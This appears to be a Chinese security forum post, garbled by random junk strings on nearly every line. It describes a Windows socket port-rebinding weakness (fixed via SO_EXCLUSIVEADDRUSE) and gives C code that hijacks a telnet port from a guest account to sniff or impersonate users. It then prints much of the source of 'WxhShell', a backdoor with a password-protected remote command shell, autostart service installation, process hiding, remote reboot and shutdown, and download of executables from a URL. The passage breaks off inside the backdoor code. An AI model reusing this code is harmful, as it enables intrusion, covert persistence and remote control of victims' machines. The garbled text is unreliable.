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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: I54O9Aoy  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); fWR]L47n  
U=C8gVb{Hq  
  saddr.sin_family = AF_INET; "Q~6cH[#  
|f^/((:D  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 27vLI~  
3mIX9&/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); sg(L`P  
H7e/6t<x  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 fuQ|[tpvQG  
Musz+<]  
  这意味着什么?意味着可以进行如下的攻击: gev7eGH<  
yT42u|xZA  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 W 9Z.X!h  
VZ*Q|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6qK0G$>  
`he{"0U~S  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 eB:obz  
-K`0`n}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .~ a)  
% 8kbX  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 qFV=P k  
=L$};ko  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 J ,fXXi)J  
y @AKb  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 S{Au%Rs  
xXK7i\ny  
  #include HnVUG4yZTD  
  #include EjB<`yT  
  #include n%Xw6qV:  
  #include    =VlO53Hy{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /|y3M/;F  
  int main() }[PbA4l.g  
  { b9(d@2MtK  
  WORD wVersionRequested; Y#c11q Z  
  DWORD ret; E~zLhJTUL'  
  WSADATA wsaData; IPcAE!h6zN  
  BOOL val; k 6~k  
  SOCKADDR_IN saddr; :&`Yz   
  SOCKADDR_IN scaddr; c3|;'s  
  int err; yov:JnWo  
  SOCKET s; [^W4%S  
  SOCKET sc; J1"u,HF*(  
  int caddsize; "2CiW6X[M  
  HANDLE mt; ?|+bM`  
  DWORD tid;   CS cM;U=  
  wVersionRequested = MAKEWORD( 2, 2 );  'TV^0D"  
  err = WSAStartup( wVersionRequested, &wsaData ); qkv.,z"  
  if ( err != 0 ) { pi5Al)0  
  printf("error!WSAStartup failed!\n"); SGH"m/ e  
  return -1; ?M7nbfy[A@  
  } V0L^pDLOV  
  saddr.sin_family = AF_INET; kT UQ8U  
   _3T*[s;H  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @l&5 |Cia  
f9D7T|J?10  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9L?EhDcDV  
  saddr.sin_port = htons(23); 96vv85g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3OFv_<6  
  { 7 .+kcqX  
  printf("error!socket failed!\n"); S'Q$N-Dy  
  return -1; Y_%\kM?7  
  } AY0o0\6cw  
  val = TRUE; "[H9)aAj7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 n<lU;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) U  *I52$  
  { '"KK|]vJ  
  printf("error!setsockopt failed!\n"); ^1nf|Xj [  
  return -1; WW_X:N~~e\  
  } c,-< 4e  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -+4$W{OK*0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0loC^\f  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \m\.+q]  
1ii.nt1 u  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) UHg^F4>4  
  { Ri3m438  
  ret=GetLastError(); Z?@07Y[|K  
  printf("error!bind failed!\n"); Q^ F-8  
  return -1; n/ 8fv~zU  
  } # K-Q/*  
  listen(s,2); r94BEC 2  
  while(1) cN :;ir  
  { !eO?75/  
  caddsize = sizeof(scaddr);  m$cM+  
  //接受连接请求 }@#e D  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); dy0!Zz  
  if(sc!=INVALID_SOCKET) 0b|!S/*A3  
  { O4#zsr:"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5 QT9  
  if(mt==NULL) 8q0 .yhb  
  { k+i=0 P0mf  
  printf("Thread Creat Failed!\n"); -`gC?yff:  
  break; Ay_<?F+&  
  } q<UqGj7#   
  } S xgY q  
  CloseHandle(mt); ^:q(ksssY  
  } ht-6_]+ME  
  closesocket(s); kOjq LA  
  WSACleanup(); qI"mW@G~H  
  return 0; &0l Nj@/  
  }   kP6r=HH@  
  DWORD WINAPI ClientThread(LPVOID lpParam) l&yR-FJ7KY  
  { <)&ykcB  
  SOCKET ss = (SOCKET)lpParam; ruW6cvsvet  
  SOCKET sc; :G`_IB\  
  unsigned char buf[4096]; `=>Bop)  
  SOCKADDR_IN saddr; S%4hv*_c  
  long num; n/6A@C  
  DWORD val; (=\P|iv  
  DWORD ret; C6Mb(&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 mPu5%%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    z/ i3  
  saddr.sin_family = AF_INET; ,=ICSS~9l  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Vz#cb5:g  
  saddr.sin_port = htons(23); R'3i { 1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TwkzX|  
  { 5_O.p3$tV  
  printf("error!socket failed!\n"); eu4x{NmQ  
  return -1; hN}X11  
  } vrbS-Z<S9  
  val = 100; wx1uduT)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) emaNmpg  
  { F0yh7MItV  
  ret = GetLastError(); J2R<'(  
  return -1; Ug"B/UUFd  
  } l5MxJ>?4%B  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PFc02 w  
  { q@\D5F% >  
  ret = GetLastError(); jv7zvp  
  return -1; Md~mI8  
  } UxW>hbzr&V  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) r`krv-,O$  
  { {P]l{W@li  
  printf("error!socket connect failed!\n"); I;`V*/s8"  
  closesocket(sc); #"Zr#P{P  
  closesocket(ss); l^vq'<kI  
  return -1; wVPq1? 9  
  } LY|h*a6Ym  
  while(1) J^W.TM&q$,  
  { 1idEm*3&(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :{fsfZXXr  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 q4Z \y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 J3'"-,Hv  
  num = recv(ss,buf,4096,0); QVP $e`4  
  if(num>0) CeZ5Ti?F  
  send(sc,buf,num,0); Q A%GK4F70  
  else if(num==0) |9Y9pked8  
  break; 0I cyi#N  
  num = recv(sc,buf,4096,0); >Kr,(8rA  
  if(num>0) XI0O^[/n{  
  send(ss,buf,num,0); U/ZbE?it>  
  else if(num==0) }C'z$i( y  
  break; 6>"0H/y,  
  } n% *u;iG  
  closesocket(ss); gC3{:MC-G  
  closesocket(sc); wb{y]~&6K  
  return 0 ; *n*OVI8L  
  } wF%XM_M  
*yf+5q4t  
REt()$ 7~  
========================================================== +-oXW>`&  
S:5Nh^K  
下边附上一个代码,,WXhSHELL $+mmqc8  
~E!"YkIr  
========================================================== )rXP2Z  
kxdLJ_  
#include "stdafx.h" Ve=0_GR0  
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#include <stdio.h> F|PYDC  
#include <string.h> &o8\ $A  
#include <windows.h> & =frt3  
#include <winsock2.h> }r i"u;.R  
#include <winsvc.h> \Lc pl-;?  
#include <urlmon.h> 7Ua Ll  
& .#0jb1r  
#pragma comment (lib, "Ws2_32.lib") a@ lK+t  
#pragma comment (lib, "urlmon.lib") w3& F e=c  
c_" .+Fa  
#define MAX_USER   100 // 最大客户端连接数 $$8"i+,K  
#define BUF_SOCK   200 // sock buffer 9LFg":  
#define KEY_BUFF   255 // 输入 buffer T&!>lqU!J  
h?TE$&CL?  
#define REBOOT     0   // 重启 mxWaX b  
#define SHUTDOWN   1   // 关机 UA/3lH}  
L7KHs'c*  
#define DEF_PORT   5000 // 监听端口 ,mRN;|N  
qH-dT,`"{  
#define REG_LEN     16   // 注册表键长度 ;hg]5r_  
#define SVC_LEN     80   // NT服务名长度 jf})"fz-*  
s=6w-'; V  
// 从dll定义API }^QY<Cp|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W=|B3}C?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c#l (~g$D+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Lb];P"2e+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IUZsLNW  
eag$i.^aS  
// wxhshell配置信息 !WY@)qlf  
struct WSCFG { @z2RMEC~  
  int ws_port;         // 监听端口 +/Z:L$C6  
  char ws_passstr[REG_LEN]; // 口令 P_qxw-s  
  int ws_autoins;       // 安装标记, 1=yes 0=no l&C%oW  
  char ws_regname[REG_LEN]; // 注册表键名 Ek 4aC3  
  char ws_svcname[REG_LEN]; // 服务名 MVTU$ 65  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hwO]{)%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z cA"\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]];7ozS)X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;%%=G;b9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8RocObY_W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !|`YNsR  
=GLsoc-b  
};  @P~ u k  
S>'wb{jj!  
// default Wxhshell configuration qV(Plt%  
struct WSCFG wscfg={DEF_PORT, +)V6"XY-(  
    "xuhuanlingzhe", -m__I U  
    1, }X AoMp  
    "Wxhshell", ^i\zMMR  
    "Wxhshell", pZWp2hj{X  
            "WxhShell Service", B[Tw0rQ  
    "Wrsky Windows CmdShell Service", ;/YSQt)rc>  
    "Please Input Your Password: ", IP~g7`Y  
  1, *M8 4Dry`y  
  "http://www.wrsky.com/wxhshell.exe", jm*v0kNy  
  "Wxhshell.exe" HL_MuyE  
    }; VR_1cwKBM  
#7g~U m%p  
// 消息定义模块 $i3/||T,9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; N/y.=]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6b)1B\p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "r|O /   
char *msg_ws_ext="\n\rExit."; ]{;K|rCR-  
char *msg_ws_end="\n\rQuit."; .Oim7JQ8  
char *msg_ws_boot="\n\rReboot..."; d2 d^XMe!  
char *msg_ws_poff="\n\rShutdown..."; 2/h Mx-  
char *msg_ws_down="\n\rSave to "; tw.%'oJ7  
n ,H;PB  
char *msg_ws_err="\n\rErr!"; zg^5cHP\  
char *msg_ws_ok="\n\rOK!"; 8Y4YE(x5  
\;g{qM 8  
char ExeFile[MAX_PATH]; <x1(}x:u`  
int nUser = 0; 0tl  
HANDLE handles[MAX_USER]; ?X eRL<n  
int OsIsNt; =b; v:HC  
] e&"CF  
SERVICE_STATUS       serviceStatus; ZL@7Mr!e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2sf/^XC1  
c !5OK4+Z  
// 函数声明 id*UTY Tg  
int Install(void); ";xG[ne$Be  
int Uninstall(void); J4x1qY)Y&v  
int DownloadFile(char *sURL, SOCKET wsh); ?X=9@m  
int Boot(int flag); '1bdBx\<.  
void HideProc(void); /TpM#hkq/2  
int GetOsVer(void); C YnBZ  
int Wxhshell(SOCKET wsl); gBresHrlH  
void TalkWithClient(void *cs); \24neD4cM@  
int CmdShell(SOCKET sock); [5:F  
int StartFromService(void); h NP|  
int StartWxhshell(LPSTR lpCmdLine); F-2HE><+  
/(vT49(]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l%;)0gT  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  #p\sw  
l&E-H@Pe  
// 数据结构和表定义 PN<Y&/fB  
SERVICE_TABLE_ENTRY DispatchTable[] = =<FFFoF*C_  
{ X8Gw8^t  
{wscfg.ws_svcname, NTServiceMain}, .-nA#/2-  
{NULL, NULL} O@Xl_QNxc!  
}; t7n*kiN<q  
'"=C^f  
// 自我安装 b7HS 3NYk  
int Install(void) e}7qZ^  
{ QK//bV)  
  char svExeFile[MAX_PATH]; vsLn@k3  
  HKEY key; ?EKYKLwr  
  strcpy(svExeFile,ExeFile); 8qt|2%  
ptrLnJ|%  
// 如果是win9x系统,修改注册表设为自启动 T w/CJg  
if(!OsIsNt) { {Uu7@1@n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  ~)WE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AnIENJ  
  RegCloseKey(key); TB1 1crE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3+Xz5>"a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,7tN&R_  
  RegCloseKey(key); # |2w^Kn  
  return 0; 5a-8/.}cP  
    } :aco$ZNH5  
  } m<r.sq&;  
} 'J+Vw9 s7  
else { [bE9Y;  
]vhh*  
// 如果是NT以上系统,安装为系统服务 b Kv9F@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M="%NxuS  
if (schSCManager!=0) 5(TI2,4  
{  03_tt7  
  SC_HANDLE schService = CreateService ,I'Y)SLx  
  ( f+J<sk  
  schSCManager, Qz[~{-<  
  wscfg.ws_svcname, Of Y>~d  
  wscfg.ws_svcdisp, hA)3Ah*  
  SERVICE_ALL_ACCESS, D55dD>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "l2_7ZXsPT  
  SERVICE_AUTO_START, @ttcFX1:W  
  SERVICE_ERROR_NORMAL, #%B1, .A  
  svExeFile, naM4X@jl  
  NULL, "X"DTP1b  
  NULL, Vh4z+JOC  
  NULL, a)[tkjU  
  NULL, JrS/"QSA  
  NULL ; #e-pkV  
  ); lv,8NmP5  
  if (schService!=0) w/>k  
  { Fg`r:,(a  
  CloseServiceHandle(schService); t9W_ [_a9  
  CloseServiceHandle(schSCManager); '<$(*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Kl\A&O*{  
  strcat(svExeFile,wscfg.ws_svcname); 6e/2X<O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %GjF;dJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =i\~][-  
  RegCloseKey(key); NTls64AS.  
  return 0; Z'PL?;&+R  
    } =`Nnd@3v  
  } .KTDQA\  
  CloseServiceHandle(schSCManager); ); 7csh%  
} +TA(crD  
} $Y)|&,  
*cq#>rN  
return 1; Oa CkU  
} 4- N>#  
"EQ}xj  
// 自我卸载 :G,GHU'/78  
int Uninstall(void) c[@>#7p`o  
{ E}.cz\!.  
  HKEY key; :.DCRs$Q  
YtxBkKiJ2V  
if(!OsIsNt) { 5/>G)&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &%C4rAd2  
  RegDeleteValue(key,wscfg.ws_regname); R-bICGSE  
  RegCloseKey(key); "?}QwtUW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XZJ}nXy  
  RegDeleteValue(key,wscfg.ws_regname); JwxI8Pi*y  
  RegCloseKey(key); Jel%1'Dc^  
  return 0; VOp8 ,!  
  } 7Ja^d-F7  
} hRtnO|Z6  
} NJLU +b yU  
else { ,K8PumM_  
g6;O)b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gP^'4>Jr  
if (schSCManager!=0) rS{Rzs^@  
{ f+-w~cN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RR*z3i`PP  
  if (schService!=0) C Vyq/X  
  { HaJD2wvr  
  if(DeleteService(schService)!=0) { i!ejK6Q  
  CloseServiceHandle(schService); I]jVnQ>&  
  CloseServiceHandle(schSCManager); aG`G$3_wx  
  return 0; FwmE1,  
  } \E]s]ft;+  
  CloseServiceHandle(schService); z^ KrR  
  } ]C}z3hhk  
  CloseServiceHandle(schSCManager); P;mmK&&  
} JG0TbM1(Bt  
} OB;AgE@  
,hYUxh45  
return 1; d=Q0 /sI&  
} .lOEQLt  
)xT_RBR  
// 从指定url下载文件 |A[Le ;,  
int DownloadFile(char *sURL, SOCKET wsh) rnEWTk7&  
{ U3 ED3) D  
  HRESULT hr; "e@JMS  
char seps[]= "/"; Qm^N}>e  
char *token; Pdrz lu   
char *file; kYmkKl_  
char myURL[MAX_PATH]; :&9#p% /  
char myFILE[MAX_PATH]; p@YU7_sF^!  
QVQe9{ "0  
strcpy(myURL,sURL); +*lSB%`aS  
  token=strtok(myURL,seps); *^}(LoPZ  
  while(token!=NULL) p/4GOU5g  
  { mst-:F[h  
    file=token; '<4/Md[  
  token=strtok(NULL,seps); ?.,..p  
  } F3;UH%L1  
vqJiMa j@Z  
GetCurrentDirectory(MAX_PATH,myFILE); cQA;Y!Q #  
strcat(myFILE, "\\"); D)K/zh)  
strcat(myFILE, file); tg7%@SI5^-  
  send(wsh,myFILE,strlen(myFILE),0); A)/_:  
send(wsh,"...",3,0); SB:-zQ5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (wo.OH  
  if(hr==S_OK) _@ev(B  
return 0; TO- [6Pq#  
else E}b" qOV  
return 1; E&7U |$  
ri.;&  
} K*d+pImrV  
Pz:,q~  
// 系统电源模块 "6FZX~]s!  
int Boot(int flag) oDrfzm|[Y  
{ ;mjk`6p  
  HANDLE hToken; p>Qzz`@e  
  TOKEN_PRIVILEGES tkp; +A>>Ak|s  
"fU=W|lY  
  if(OsIsNt) { >h(n8wTP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bLhTgss](  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l#Ipo5=  
    tkp.PrivilegeCount = 1; nxS|]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wzwEYZN(q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @ 4#q  
if(flag==REBOOT) { onI%Jl sq  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |a*VoMZ  
  return 0; LPc)-t|p"  
} .D!0$W mOZ  
else { ^ Vso`(Ss  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M%92 ^;|`  
  return 0; aY@]mMz\  
} &)zNu  
  } C& BRyo  
  else { a\pOgIp  
if(flag==REBOOT) { I 8TqK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #^4p(eZ[}  
  return 0; NvW`x   
} r'/&{?Je/  
else { YcOPqvQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =PYfk6j9  
  return 0; )S@e&a|  
} |;sL*Vr  
} IO3p&sJ/  
'9@S  
return 1; ;)$bhNFHx  
} gB|>[6  
QxS] 6hA  
// win9x进程隐藏模块 7^)8DwAl  
void HideProc(void) DcYL8u  
{ i^T@jg+K  
{*mf Is  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !ij R  
  if ( hKernel != NULL ) W>TG!R 5  
  { VaP9&tWXj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); : N9,/-s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); + OKk~GYf  
    FreeLibrary(hKernel); >x?x3#SX  
  } E{s p  
YYNh| 2  
return; gxnIur)  
} |BGB60}]f  
Ey|{yUmU+  
// 获取操作系统版本 4g4[n7  
int GetOsVer(void) >AK9F. _z  
{ Fi+8|/5  
  OSVERSIONINFO winfo; ~:FF"T>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); La>fvm  
  GetVersionEx(&winfo); .A6D&-&z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HuT4OGBFpC  
  return 1; Nk63F&J7e  
  else 68*a'0  
  return 0; =[JstiT?E  
} n(uzqd  
[>$?/DM  
// 客户端句柄模块 e5AZU7%.  
int Wxhshell(SOCKET wsl) IA%|OVAfF  
{ P2Jo^WS  
  SOCKET wsh; joz0D!-"#  
  struct sockaddr_in client; f9K+o-P.h  
  DWORD myID; CdZ. T/x  
gV}c4>v(  
  while(nUser<MAX_USER)  $UD$NSl  
{ r01u3!  
  int nSize=sizeof(client); ; ,Nvg6c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Sw.k,p*r  
  if(wsh==INVALID_SOCKET) return 1; 2P/ Sq  
_Z>n y&   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8vkCmV  
if(handles[nUser]==0) ++sbSl)Q  
  closesocket(wsh); WA6reZ  
else |.KB  
  nUser++; {uDH-b(R  
  } |2E:]wT}qg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +iqzj-e&e[  
+H:}1sT;n  
  return 0; 9Y:Iha`$w  
} k4d;4D?  
*ESi~7;#  
// 关闭 socket KV8Ok  
void CloseIt(SOCKET wsh) Nwj M=GG  
{ b@S~ =  
closesocket(wsh); wg+[T;0S  
nUser--; XRmE  
ExitThread(0); m*wDJEKo  
} Aj8zFt ]  
4T6: C?V  
// 客户端请求句柄 Mp QsM-iW  
void TalkWithClient(void *cs) =Fc}T%  
{ #<y/m*Ota  
[!C!R$AMa  
  SOCKET wsh=(SOCKET)cs; 4p7j "d5  
  char pwd[SVC_LEN]; foUBMl  
  char cmd[KEY_BUFF]; :%gM Xsb  
char chr[1]; e,xJ%f  
int i,j; {Mb2X^@7  
EERCb%M 8Z  
  while (nUser < MAX_USER) { JqUft=p5  
1LaJ hrp?  
if(wscfg.ws_passstr) { e7y,zcbv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c'XSs  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .+mP#<mAg  
  //ZeroMemory(pwd,KEY_BUFF); 8>G5VhCm~o  
      i=0; beBv|kI4  
  while(i<SVC_LEN) { D^xg2D  
] *U+nG  
  // 设置超时 62kA(F 0e,  
  fd_set FdRead; H2xDC_Fs  
  struct timeval TimeOut; E@%1HO_  
  FD_ZERO(&FdRead); Lxn-M5RPQ  
  FD_SET(wsh,&FdRead); GPizR|}h  
  TimeOut.tv_sec=8; k%8kt4\wn6  
  TimeOut.tv_usec=0; NiEz3ODSi  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); belBdxa{"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~c5 5LlO>  
d04gmc&*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GO"E>FyB  
  pwd=chr[0]; 8#R%jjr%T  
  if(chr[0]==0xd || chr[0]==0xa) { @=}NMoNH  
  pwd=0; X40JCQx{+  
  break; ~.6% %1?  
  } g6xQQ,q=l  
  i++; m<LzgX  
    } xXnSo0`L F  
@Z7s3b  
  // 如果是非法用户,关闭 socket Bio QV47B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l: kW|  
} A/&u /?*C  
NG RXNh+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *y(UI/c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @\:@_}Z`_}  
/cVZ/"  
while(1) { _{ 2`sL)  
ONZ(0H{ 1$  
  ZeroMemory(cmd,KEY_BUFF); 1vAJ(O{-  
\ [M4[Qlq  
      // 自动支持客户端 telnet标准   ,,1y0s0`  
  j=0; D(&Zq7]n  
  while(j<KEY_BUFF) { X{[$4\di{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tkff\W[JU  
  cmd[j]=chr[0]; %tPy]{S..  
  if(chr[0]==0xa || chr[0]==0xd) { Ef@)y&hn  
  cmd[j]=0; arS@l<79  
  break; >6W#v[  
  } YG5mzP<T  
  j++; @7;}6,)  
    } DGw*BN%`  
W<TfDEEa  
  // 下载文件 loHMQKy@  
  if(strstr(cmd,"http://")) { Au{b1n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uJ fXe  
  if(DownloadFile(cmd,wsh)) /n:Q>8^n'W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  @k#xr  
  else >5TXLOYZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #;+SAoN  
  } H(O|y2   
  else { d DAl n+  
)>iPx.hVSS  
    switch(cmd[0]) { 'geN  dx  
  b2j ~"9  
  // 帮助 ,Ij/ ^EC}  
  case '?': { fQ -IM/z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r%>7n,+o  
    break; M"msLz  
  } l1 _"9a%H  
  // 安装 L$"pk{'  
  case 'i': { i[z#5;x+<  
    if(Install()) rd24R-6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pX$ X8z%  
    else e5"5 U7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G,1g~h%I$  
    break; Cy)QS{YX  
    } oh9L2"  
  // 卸载 6(Ntt  
  case 'r': { hvA|d=R(  
    if(Uninstall()) ~jz51[{v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mgodvX  
    else >66 `hZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )t:8;;W@Ir  
    break; pwB>$7(_h  
    } 6JR FYgI  
  // 显示 wxhshell 所在路径 rd=+[:7L  
  case 'p': { /#q6.du  
    char svExeFile[MAX_PATH]; afu!.}4Ct  
    strcpy(svExeFile,"\n\r"); Mp[2Auf  
      strcat(svExeFile,ExeFile); m}>Q#IVZ  
        send(wsh,svExeFile,strlen(svExeFile),0); ?V(+Cc  
    break; Qv]rj]%  
    } !-&;t7R  
  // 重启 am7~  
  case 'b': { nV8iYBBym  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O3#eQs  
    if(Boot(REBOOT)) &;<'AF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j6L(U~%  
    else { 1xO-tIp/  
    closesocket(wsh); C9,Uwz<!]  
    ExitThread(0); ][YC.J  
    } m3&b)O7  
    break; 9kbczL^Y  
    } M 5`hMfg  
  // 关机 8= =_43  
  case 'd': { YgjN*8w\  
